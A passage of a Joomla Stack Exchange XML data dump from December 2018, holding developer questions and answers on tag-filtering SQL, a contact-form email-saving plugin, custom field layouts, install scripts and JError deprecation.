2&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;array (&#xA;  0 =&amp;gt; &#xA;  stdClass::__set_state(array(&#xA;     'id' =&amp;gt; '12',&#xA;     'catid' =&amp;gt; '21',&#xA;     'name' =&amp;gt; 'Sharky',&#xA;     'alias' =&amp;gt; 'sharky',&#xA;     'image' =&amp;gt; 'images/sharky.jpg',&#xA;     'email_to' =&amp;gt; '',&#xA;     'published' =&amp;gt; '1',&#xA;     'user_id' =&amp;gt; '0',&#xA;     'tag_ids' =&amp;gt; '9,10',&#xA;  )),&#xA;  1 =&amp;gt; &#xA;  stdClass::__set_state(array(&#xA;     'id' =&amp;gt; '82',&#xA;     'catid' =&amp;gt; '21',&#xA;     'name' =&amp;gt; 'mickmackusa',&#xA;     'alias' =&amp;gt; 'mickmackusa',&#xA;     'image' =&amp;gt; '',&#xA;     'email_to' =&amp;gt; '',&#xA;     'published' =&amp;gt; '1',&#xA;     'user_id' =&amp;gt; '0',&#xA;     'tag_ids' =&amp;gt; '9,10',&#xA;  )),&#xA;)&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;ul&gt;&#xA;&lt;li&gt;To show all of the tag_ids in the result set, use &lt;code&gt;GROUP_CONCAT()&lt;/code&gt; in the &lt;code&gt;SELECT&lt;/code&gt; clause.&lt;/li&gt;&#xA;&lt;li&gt;I prefer the logic of using INNER JOIN versus RIGHT JOIN, but I don't know how they compare in terms of performance.&lt;/li&gt;&#xA;&lt;li&gt;The &lt;code&gt;HAVING&lt;/code&gt; clause may use &lt;code&gt;COUNT(*)&lt;/code&gt; to achieve the same result as feeding the &lt;code&gt;tag_id&lt;/code&gt; column to it.&lt;/li&gt;&#xA;&lt;/ul&gt;&#xA;&#xA;&lt;p&gt;Changing the number that follows &lt;code&gt;COUNT()&lt;/code&gt; will dictate how many qualifying tags are required for a contact/user to be included in the result set.  For instance, if you search for 3 different tags, but only require 2, you will get all rows where contacts/users have 2 out of 3 qualifying tags.&lt;/p&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-04T06:29:28.547" LastActivityDate="2018-12-04T06:29:28.547" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23871" PostTypeId="2" ParentId="23803" CreationDate="2018-12-03T08:48:54.340" Score="1" Body="&lt;p&gt;There's a paid &lt;a href=&quot;https://extensions.virtuemart.net/shopper-order/orders/vm-localise-detail&quot; rel=&quot;nofollow noreferrer&quot;&gt;VM-Localise&lt;/a&gt; extension by VirtueMart developers.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-03T08:48:54.340" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23872" PostTypeId="1" CreationDate="2018-12-03T10:52:03.283" Score="0" ViewCount="217" Body="&lt;p&gt;I'm trying to save email addresses to database when a customer send an email via contact form. I put the insert query into the &lt;code&gt;_sendEmail&lt;/code&gt; function, but when I send an email, it didn't insert the address. How can I solve this?&lt;/p&gt;&#xA;" OwnerUserId="13118" LastActivityDate="2018-12-05T23:44:43.967" Title="How can I insert email address to database who sent an email via contact form?" Tags="|joomla-3.6|" AnswerCount="2" CommentCount="2" ClosedDate="2018-12-10T09:39:08.693" ContentLicense="CC BY-SA 4.0" />
  <row Id="23873" PostTypeId="2" ParentId="18226" CreationDate="2018-12-03T13:03:24.140" Score="0" Body="&lt;p&gt;If you need to change the classes for the fields for password and login, you will need to  change the xml file -  components / com_users / models / forms / login.xml&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Handy if you want to use Bootstrap styling for example. Here's the xml for the username field, where you see class, just add an additional CSS class as required &#xA;e.g. form-control&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;field&#xA;            name=&quot;username&quot;&#xA;            type=&quot;text&quot;&#xA;            label=&quot;COM_USERS_LOGIN_USERNAME_LABEL&quot;&#xA;            class=&quot;form-control validate-username&quot;&#xA;            filter=&quot;username&quot;&#xA;            size=&quot;25&quot;&#xA;            required=&quot;true&quot;&#xA;            validate=&quot;username&quot;&#xA;            autofocus=&quot;true&quot;&#xA;        /&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="13121" LastActivityDate="2018-12-03T13:03:24.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23875" PostTypeId="2" ParentId="23872" CreationDate="2018-12-04T08:57:09.663" Score="2" Body="&lt;p&gt;You shouldn't modify core files. Create a contact plugin with &lt;code&gt;onSubmitContact&lt;/code&gt; event. Basic example to catch unique emails:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgContactEmails extends CMSPlugin&#xA;{&#xA;    public function onSubmitContact(&amp;amp;$contact, &amp;amp;$data)&#xA;    {&#xA;        if (empty($data['contact_email']))&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $db = JFactory::getDbo();&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;select('COUNT(*)')&#xA;            -&amp;gt;from($db-&amp;gt;quoteName('#__plg_contact_emails'))&#xA;            -&amp;gt;where($db-&amp;gt;quoteName('email') . ' = ' . $db-&amp;gt;quote($data['contact_email']));&#xA;&#xA;        if ($db-&amp;gt;setQuery($query)-&amp;gt;loadResult())&#xA;        {&#xA;            return;&#xA;        }&#xA;&#xA;        $query = $db-&amp;gt;getQuery(true)&#xA;            -&amp;gt;insert($db-&amp;gt;quoteName('#__plg_contact_emails'))&#xA;            -&amp;gt;columns($db-&amp;gt;quoteName('email'))&#xA;            -&amp;gt;values($db-&amp;gt;quote($data['contact_email']));&#xA;&#xA;        $db-&amp;gt;setQuery($query)-&amp;gt;execute();&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Note, you have to create a SQL installation script for creating custom database table and add it to plugin's manifest file.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Using_the_Database&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Using_the_Database&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-04T08:57:09.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23876" PostTypeId="1" CreationDate="2018-12-04T10:01:52.903" Score="1" ViewCount="1831" Body="&lt;p&gt;How can i add an additional layout for repeatable.php of the custom fields in my template?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;So i want to create repeatable_image.php and make it available in layout render option of the custom field.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Where so i have to place it?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Here i can override it, but i want to add a layout (no override of the render.php):&lt;/p&gt;&#xA;&#xA;&lt;p&gt;/web/templates/mytemplate/html/plg_fields_repeatable/repeatable.php&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks&lt;/p&gt;&#xA;" OwnerUserId="12766" LastActivityDate="2018-12-06T15:28:56.410" Title="Add layout for custom field" Tags="|joomla-3.x|custom-field|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23878" PostTypeId="1" AcceptedAnswerId="23884" CreationDate="2018-12-04T15:27:01.300" Score="0" ViewCount="35" Body="&lt;p&gt;I have a business site (www.go4people.nl) with multiple &quot;business units&quot; (Inspiratie &amp;amp; Advies, Onderwijs, MKB, etc). I have one custom-made template with a template style for each unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I do use one SEO top menu structure with system links to avoid duplicate content.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Below all business units there is a menu-item (specific for that unit) called &quot;Nieuws&quot; which is a category blog using a specific tag for that business unit. So all news-items have the category &quot;News&quot; and a tag for the specific unit.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The news module uses the same selection of a category and a tag, which works fine. Also the menu item shows only articles with tag and category. My problem is that when opening a specific news item from the module on the frontpage, it will allways open in the menu under &quot;Inspiratie &amp;amp; Advies&quot;, even though the item has a tag for another unit. &lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to check, go to &lt;a href=&quot;https://go4people.nl/onderwijs&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://go4people.nl/onderwijs&lt;/a&gt; and select a news-item in the upper module. It will bring you tou the I&amp;amp;A Frontpage, even though there is also a Category blog menu item with the tag Onderwijs under that part of the menu.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Am I missing something or is this by design?&lt;/p&gt;&#xA;" OwnerUserId="13112" LastActivityDate="2018-12-05T20:44:20.140" Title="Routing of news items not working as expected" Tags="|tags|category-blog|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23879" PostTypeId="2" ParentId="22197" CreationDate="2018-12-04T16:33:13.043" Score="-1" Body="&lt;p&gt;Found the issue. I called &lt;code&gt;JSite&lt;/code&gt; in my model.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I changed it to:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;$app = JFactory::getApplication(); &#xA;$menu = $app-&amp;gt;getMenu();&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;This fixed the issue.&lt;/p&gt;&#xA;" OwnerUserId="12075" LastEditorUserId="12352" LastEditDate="2018-12-04T20:37:46.997" LastActivityDate="2018-12-04T20:37:46.997" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23880" PostTypeId="1" AcceptedAnswerId="23883" CreationDate="2018-12-05T07:37:05.570" Score="0" ViewCount="57" Body="&lt;p&gt;I have the code: &lt;code&gt;$uri = JUri::getInstance(); $router = JRouter::getInstance('site'); $vars = $router-&amp;gt;parse($uri);&lt;/code&gt; I'm wanting to parse the uri out at the module's backend (Just the module I'm writing myself.). But when I installed the module and clung to the module for editing, it led me to the blank page, and in the address bar I saw a lot of &lt;code&gt;/index.php/en/index.php/en...&lt;/code&gt; it popped up a lot. That is I test with 3.9.x. With 3.8.x it says &quot;Allow memory .....&quot;. &#xA;I'm using php 7.2.12.&lt;/p&gt;&#xA;" OwnerUserId="7480" LastEditorUserId="7480" LastEditDate="2018-12-05T11:26:44.653" LastActivityDate="2018-12-05T11:27:55.647" Title="Can't open edit module, get error from JRouter::getInstance('site') in joomla 3.9.x" Tags="|joomla-3.x|module|router|joomla-3.9|" AnswerCount="1" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23882" PostTypeId="2" ParentId="23872" CreationDate="2018-12-05T11:26:46.710" Score="1" Body="&lt;p&gt;To expand/refine Sharky's answer, you can set up your new/basic database table with this structure:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;CREATE TABLE IF NOT EXISTS `#__plg_contact_emails` (&#xA;  `id` int(11) NOT NULL AUTO_INCREMENT,&#xA;  `email` varchar(255) NOT NULL,&#xA;  PRIMARY KEY (`id`),&#xA;  UNIQUE KEY `email` (`email`)&#xA;) ENGINE=InnoDB DEFAULT CHARSET=utf8;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;By setting &lt;code&gt;email&lt;/code&gt; as a UNIQUE key, you can streamline the plugin's querying process and ensure that your table only contains unique email addresses.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?php&#xA;defined('_JEXEC') or die;&#xA;&#xA;use Joomla\CMS\Plugin\CMSPlugin;&#xA;&#xA;class PlgContactEmails extends CMSPlugin&#xA;{&#xA;    public function onSubmitContact(&amp;amp;$contact, &amp;amp;$data)&#xA;    {&#xA;        if (!empty($data['contact_email']) &amp;amp;&amp;amp; filter_var($data['contact_email'], FILTER_VALIDATE_EMAIL))  // in case validation is necessary&#xA;        {&#xA;            $db = JFactory::getDBO();&#xA;            $query = $db-&amp;gt;getQuery(true)&#xA;                        -&amp;gt;insert(&quot;#__plg_contact_emails&quot;)&#xA;                        -&amp;gt;columns(&quot;email&quot;)&#xA;                        -&amp;gt;values($db-&amp;gt;q($data['contact_email']));&#xA;            $db-&amp;gt;setQuery(preg_replace('~INSERT \K~', 'IGNORE ', $query, 1));    // add IGNORE to avoid duplicate entry error&#xA;            $db-&amp;gt;execute();&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Here is a related post where I explain the effect and benefits of my single query snippet: &lt;a href=&quot;https://joomla.stackexchange.com/a/22966/12352&quot;&gt;https://joomla.stackexchange.com/a/22966/12352&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;hr&gt;&#xA;&#xA;&lt;p&gt;If you can't or don't want to hack at the built query with &lt;code&gt;IGNORE&lt;/code&gt;, you can convert mysql errors to exceptions and either ignore them or handle them specifically:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;if (!empty($data['contact_email']) &amp;amp;&amp;amp; filter_var($data['contact_email'], FILTER_VALIDATE_EMAIL))  // in case validation is necessary&#xA;{&#xA;    $db = JFactory::getDBO();&#xA;    $query = $db-&amp;gt;getQuery(true)&#xA;        -&amp;gt;insert(&quot;#__plg_contact_emails&quot;)&#xA;        -&amp;gt;values(&quot;null, &quot; . $db-&amp;gt;q($data['contact_email']));  // without columns() call&#xA;    $db-&amp;gt;setQuery($query);&#xA;    try&#xA;    {&#xA;        $db-&amp;gt;execute();&#xA;    }&#xA;    catch (Exception $e)&#xA;    {&#xA;        // do nothing or whatever you like&#xA;        if ($e-&amp;gt;getCode() == 1062)&#xA;        {&#xA;            // JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Duplicate Entry&quot;, 'notice');&#xA;        }&#xA;        else&#xA;        {&#xA;            // JFactory::getApplication()-&amp;gt;enqueueMessage(&quot;Syntax Error&quot;, 'error');&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12352" LastEditorUserId="12352" LastEditDate="2018-12-05T23:44:43.967" LastActivityDate="2018-12-05T23:44:43.967" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23883" PostTypeId="2" ParentId="23880" CreationDate="2018-12-05T11:27:55.647" Score="0" Body="&lt;p&gt;[SOLVED] change &lt;code&gt;site&lt;/code&gt; to &lt;code&gt;administrator&lt;/code&gt;&lt;/p&gt;&#xA;" OwnerUserId="7480" LastActivityDate="2018-12-05T11:27:55.647" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23884" PostTypeId="2" ParentId="23878" CreationDate="2018-12-05T20:44:20.140" Score="1" Body="&lt;p&gt;Joomla does not handle routing well if a single category is assigned to multiple menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;The routing system looks for the menu item that the category is assigned to. Once it finds it, it does not look for another one.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;This means that if you have a single category assigned to multiple menu items, the routing system (which is responsible for building module links too) will always link to only one of the menu items.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;To fix this you will either need to use a separate category/subcategory for each menu item (aka business units) or use a tag to identify &quot;News&quot;. Essentially, swap how you are using tags and categories.&lt;/p&gt;&#xA;" OwnerUserId="11228" LastActivityDate="2018-12-05T20:44:20.140" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23885" PostTypeId="1" AcceptedAnswerId="23886" CreationDate="2018-12-06T03:39:35.030" Score="4" ViewCount="521" Body="&lt;p&gt;I've recently upgraded my joomla site to 3.9.1, and now my custom components publish/unpublish buttons aren't working and I can't figure out why. The database column is called &quot;state&quot; and this is the code which was working up until the upgrade:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;JToolbarHelper::publish('items.publish', 'JTOOLBAR_PUBLISH', true);&#xA;JToolbarHelper::unpublish('items.unpublish', 'JTOOLBAR_UNPUBLISH', true);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;These buttons used to work and they would publish / unpublish the items, now I get this message:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;0 items successfully published&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I'm not sure where exactly the code is which tells it to update the status of the item, but for some reason it's not working anymore.&lt;/p&gt;&#xA;" OwnerUserId="12314" LastActivityDate="2021-02-14T09:46:01.847" Title="Joomla 3.9.1 publish/unpublish no longer working (custom components)" Tags="|custom-component|joomla-3.9|" AnswerCount="2" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23886" PostTypeId="2" ParentId="23885" CreationDate="2018-12-06T06:24:05.427" Score="4" Body="&lt;p&gt;Inside your table's constructor use &lt;code&gt;setColumnAlias()&lt;/code&gt; to define the actual column name:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function __construct($db)&#xA;{&#xA;    parent::__construct('#__example', 'id', $db);&#xA;&#xA;    $this-&amp;gt;setColumnAlias('published', 'state');&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-06T06:24:05.427" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23887" PostTypeId="2" ParentId="23750" CreationDate="2018-12-06T08:02:40.600" Score="1" Body="&lt;p&gt;There is &lt;code&gt;JHtmlNumber&lt;/code&gt; class but it only has a method for converting bytes.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Because Joomla! does not use INTL extension, formatting there is done using simple &lt;code&gt;number_format()&lt;/code&gt; with language strings (&lt;code&gt;THOUSANDS_SEPARATOR&lt;/code&gt; and &lt;code&gt;DECIMALS_SEPARATOR&lt;/code&gt;) acting as separators. So formatting would depend on user's language.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-06T08:02:40.600" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23888" PostTypeId="2" ParentId="21560" CreationDate="2018-12-06T09:26:56.913" Score="0" Body="&lt;blockquote&gt;&#xA;  &lt;p&gt;So I added in the &quot;onContentPrepareData&quot; the decrypt code.&lt;/p&gt;&#xA;&lt;/blockquote&gt;&#xA;&#xA;&lt;p&gt;This is exactly why. &lt;code&gt;JUserHelper::getProfile()&lt;/code&gt; triggers &lt;code&gt;onContentPrepareData&lt;/code&gt; event.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastActivityDate="2018-12-06T09:26:56.913" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23889" PostTypeId="1" AcceptedAnswerId="23890" CreationDate="2018-12-06T09:39:14.097" Score="5" ViewCount="171" Body="&lt;p&gt;After an installation process, the translated manifest description from the sys.ini-file is shown in the Extension Manager. Unfortunately this text is also shown while editing the (published) plugin parameters.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/plugins/system/my_plugin/manifest.xml:&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;&amp;lt;?xml version=&quot;1.0&quot; encoding=&quot;utf-8&quot;?&amp;gt;&#xA;&amp;lt;extension type=&quot;plugin&quot; version=&quot;3.8&quot; group=&quot;system&quot; method=&quot;upgrade&quot;&amp;gt;&#xA;&amp;lt;name&amp;gt;PLG_NAME&amp;lt;/name&amp;gt;&#xA;&amp;lt;description&amp;gt;PLG_DESCRIPTION&amp;lt;/description&amp;gt;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;&lt;strong&gt;/plugins/system/my_plugin/language/en-GB/en-GB.plg_system_my_plugin.sys.ini&lt;/strong&gt;&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;PLG_DESCRIPTION=&quot;This text is shown after installation AND as description of enabled plugins&quot;&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Is it possible to shown a custom message after installation/update in the Extension Manager? &#xA;And only at this point.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Thanks in advance!&lt;/p&gt;&#xA;" OwnerUserId="13129" LastActivityDate="2018-12-06T19:27:58.077" Title="Custom message after plugin installation" Tags="|joomla-3.x|plugin|installation|" AnswerCount="1" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23890" PostTypeId="2" ParentId="23889" CreationDate="2018-12-06T09:54:56.417" Score="6" Body="&lt;p&gt;Yes, it is absolutely possible. You have to create/use an install &lt;code&gt;script.php&lt;/code&gt; file in your installable plugin folder which will include tasks on different points of installation, uninstallation, update, preflight or postflight tasks:&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For a module, a script class would look like this:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;class mod_helloWorldInstallerScript&#xA;{&#xA;&#xA;    public function __construct(JAdapterInstance $adapter) &#xA;    {&#xA;        // construct here... it could be left empty&#xA;    }&#xA;&#xA;    /*&#xA;    install, update, preflight... functions here&#xA;    */&#xA;&#xA;    /**&#xA;    * Called on installation        &#xA;    */&#xA;    public function install(JAdapterInstance $adapter)&#xA;    {&#xA;        echo 'Your custom message on installation';&#xA;    }&#xA;&#xA;    // In this function you can also display your custom message in&#xA;    // the Extension Manager after install ie.     &#xA;    function postflight($type, $parent) &#xA;    {&#xA;        echo '&amp;lt;p&amp;gt;Anything here happens after the installation/update/uninstallation of the module&amp;lt;/p&amp;gt;';&#xA;        echo JText::_('PLG_MY_CUSTOM_TEXT_AFTER_INSTALL');&#xA;    }&#xA;&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;Same for plugins... except you call the class: &lt;code&gt;plg_mypluginInstallerScript&lt;/code&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;You can study this subject more here: &lt;a href=&quot;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/J3.x:Creating_a_simple_module/Adding_an_install-uninstall-update_script_file&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;or here at the bottom of this page:&#xA;&lt;a href=&quot;https://docs.joomla.org/Manifest_files&quot; rel=&quot;nofollow noreferrer&quot;&gt;https://docs.joomla.org/Manifest_files&lt;/a&gt;&lt;/p&gt;&#xA;" OwnerUserId="12524" LastEditorUserId="12352" LastEditDate="2018-12-06T19:27:58.077" LastActivityDate="2018-12-06T19:27:58.077" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
  <row Id="23891" PostTypeId="2" ParentId="23876" CreationDate="2018-12-06T15:28:56.410" Score="2" Body="&lt;p&gt;If you want to override the field view, which you can make available in the layout option of the field, this is a good tutorial learn how to do it: &lt;a href=&quot;https://www.joomlashack.com/blog/tutorials/joomla-39/&quot; rel=&quot;nofollow noreferrer&quot;&gt;#7. Alternative layouts for custom fields&lt;/a&gt;&lt;/p&gt;&#xA;&#xA;&lt;p&gt;Look at number #7&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you want to override the form field, create these files inside /web/templates/mytemplate/html:&lt;/p&gt;&#xA;&#xA;&lt;ol&gt;&#xA;&lt;li&gt;layouts/joomla/form/field/subform/repeatable-table.php&lt;/li&gt;&#xA;&lt;li&gt;layouts/joomla/form/field/subform/repeatable.php&lt;/li&gt;&#xA;&lt;/ol&gt;&#xA;" OwnerUserId="8051" LastActivityDate="2018-12-06T15:28:56.410" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23892" PostTypeId="2" ParentId="14087" CreationDate="2018-12-06T15:31:07.663" Score="2" Body="&lt;p&gt;This is supported directly in core Joomla, at lease in version 3.8.5.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JHTML::calendar&lt;/code&gt; takes five parameters, the value (date time), element name, element id, date time format and attributes. The attributes element is an associative array and accepts an 'onchange' attribute, which is fired whenever the date or time picker is changed.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;For your example, you would use something like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;echo JHTML::calendar( &#xA;    &quot;&quot;, &#xA;    &quot;timetable_slot_date&quot;, &#xA;    &quot;id_timetable_slot_date&quot;, &#xA;    &quot;%Y-%m-%d&quot;,&#xA;    array('onChange'=&amp;gt;'alert(\'hello\');')&#xA;);&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;The only bit I had problems with was correctly escaping the quotes around the string being echoed.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-12-06T15:31:07.663" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23893" PostTypeId="2" ParentId="21644" CreationDate="2018-12-06T15:53:05.817" Score="1" Body="&lt;p&gt;I've found a way to do what you're looking for, but its a bit hacky!&lt;/p&gt;&#xA;&#xA;&lt;p&gt;When you call &lt;code&gt;JHtml::_( 'calendar', . .&lt;/code&gt; Joomla renders a div with the class 'field-calendar' into your document, and adds &lt;code&gt;media/system/js/fields/calendar.js&lt;/code&gt; to the head. The JavaScript then creates &lt;code&gt;JoomlaCalendar&lt;/code&gt; objects called &lt;code&gt;_joomlaCalendar&lt;/code&gt; and adds them to all divs with class 'field-calendar'.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If you can get hold of the div with class 'field-calendar', then you can get and manipulate the &lt;code&gt;_joomlaCalendar&lt;/code&gt; object, setting the date and time. Using jQuery, this would look like:&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;var calendarDiv = jQuery('.field-calendar')[0];&#xA;var calendar = calendarDiv._joomlaCalendar;&#xA;calendar.setDate( new DateTime('2018-12-12 12:00') );&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;&#xA;&lt;p&gt;If you take a look at media/system/js/fields/calenar.js, you'll see what methods JoomlaCalendar has and get some idea how you might interact with it.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;I say this is hacky because I've no idea the 'correct' way to interact with the JoomlaCalendar JavaSript object. I've successfully manipulated it in various ways, but I don't know if what I was doing was correct.&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-12-06T15:53:05.817" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23894" PostTypeId="2" ParentId="3971" CreationDate="2018-12-07T20:36:39.970" Score="0" Body="&lt;p&gt;If you are developing a plugin and &lt;code&gt;onAfterRender&lt;/code&gt; event is &lt;strong&gt;NOT&lt;/strong&gt; working, try using the event &lt;code&gt;onBeforeCompileHead&lt;/code&gt; as shown below.&lt;/p&gt;&#xA;&#xA;&lt;pre&gt;&lt;code&gt;public function onBeforeCompileHead() {&#xA;    if ($this-&amp;gt;app instanceof JApplicationSite) {&#xA;        $doc = JFactory::getDocument();&#xA;        $search     = array(&#xA;            'jui/js/bootstrap.min.js',&#xA;            'mootools-core.js',&#xA;            'mootools-more.js',&#xA;        );&#xA;        foreach ($doc-&amp;gt;_scripts as $key =&amp;gt; $script) {&#xA;            foreach ($search as $findme) {&#xA;                if (stristr($key, $findme) !== false) {&#xA;                    unset($doc-&amp;gt;_scripts[$key]);&#xA;                }&#xA;            }&#xA;        }&#xA;    }&#xA;}&#xA;&lt;/code&gt;&lt;/pre&gt;&#xA;" OwnerUserId="1761" LastEditorUserId="1761" LastEditDate="2018-12-07T21:21:33.153" LastActivityDate="2018-12-07T21:21:33.153" CommentCount="0" ContentLicense="CC BY-SA 4.0" />
  <row Id="23896" PostTypeId="1" CreationDate="2018-12-08T14:24:03.050" Score="1" ViewCount="1480" Body="&lt;p&gt;JError is shown as deprecated (as of 12.3), but is still widely used in the core. The &lt;a href=&quot;https://api.joomla.org/cms-3/classes/JError.html&quot; rel=&quot;nofollow noreferrer&quot;&gt;API docs&lt;/a&gt; say that its status is deprecated - 4.0 Will be removed without replacement, but its still alive and well in 4.0.0 Alpha 1. Is it still being deprecated?&lt;/p&gt;&#xA;&#xA;&lt;p&gt;If it truly is deprecated and we are supposed to stop using it, what is the alternative for the following situation. In the save method of a component model subclassing JModelAdmin, and you want return false to indicate that there was a problem with the data, how do you add a message to the error box?&lt;/p&gt;&#xA;" OwnerUserId="9281" LastActivityDate="2018-12-09T12:09:22.943" Title="What is the status of deprecated JError and what is the suggested replacement" Tags="|jerror|deprecated|" AnswerCount="1" CommentCount="2" ContentLicense="CC BY-SA 4.0" />
  <row Id="23897" PostTypeId="2" ParentId="23896" CreationDate="2018-12-08T19:35:37.647" Score="4" Body="&lt;p&gt;Yes, it's still being deprecated.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JError::raiseError()&lt;/code&gt; should be replaced with native exceptions.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;&lt;code&gt;JError::raiseWarning()&lt;/code&gt; and &lt;code&gt;JError::raiseNotice&lt;/code&gt; should be replaced with calls to application's &lt;code&gt;enqueueMessage()&lt;/code&gt; method to display warnings/notices.&lt;/p&gt;&#xA;&#xA;&lt;p&gt;See &lt;a href=&quot;https://docs.joomla.org/Potential_backward_compatibility_issues_in_Joomla_4&quot; rel=&quot;nofollow noreferrer&quot;&gt;Potential backward compatibility issues in Joomla 4&lt;/a&gt; for code migration tips.&lt;/p&gt;&#xA;" OwnerUserId="12652" LastEditorUserId="12652" LastEditDate="2018-12-09T12:09:22.943" LastActivityDate="2018-12-09T12:09:22.943" CommentCount="3" ContentLicense="CC BY-SA 4.0" />
